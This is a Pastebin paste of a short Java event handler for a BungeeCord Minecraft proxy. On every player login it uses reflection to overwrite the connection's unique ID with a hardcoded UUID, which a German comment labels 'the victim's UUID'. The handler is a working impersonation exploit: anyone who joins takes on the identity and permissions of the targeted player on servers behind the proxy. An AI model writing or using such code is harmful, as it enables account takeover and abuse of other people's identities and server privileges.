Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- @EventHandler(priority = EventPriority.LOWEST)
- public void Join(PostLoginEvent e)
- {
- UUID d = Util.getUUID("d1c5abd57ad84c56b8bcc94aa7698820"); //UUID des Opfers
- ProxiedPlayer proxiedPlayer = ProxyServer.getInstance().getPlayer(e.getPlayer().getUniqueId());
- try
- {
- PendingConnection pc = proxiedPlayer.getPendingConnection();
- Class<?> initialHandlerClass = pc.getClass();
- Field uniqueIdField = initialHandlerClass.getDeclaredField("uniqueId");
- uniqueIdField.setAccessible(true);
- uniqueIdField.set(pc, d);
- } catch (Throwable e1)
- {
- System.out.println(e1);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement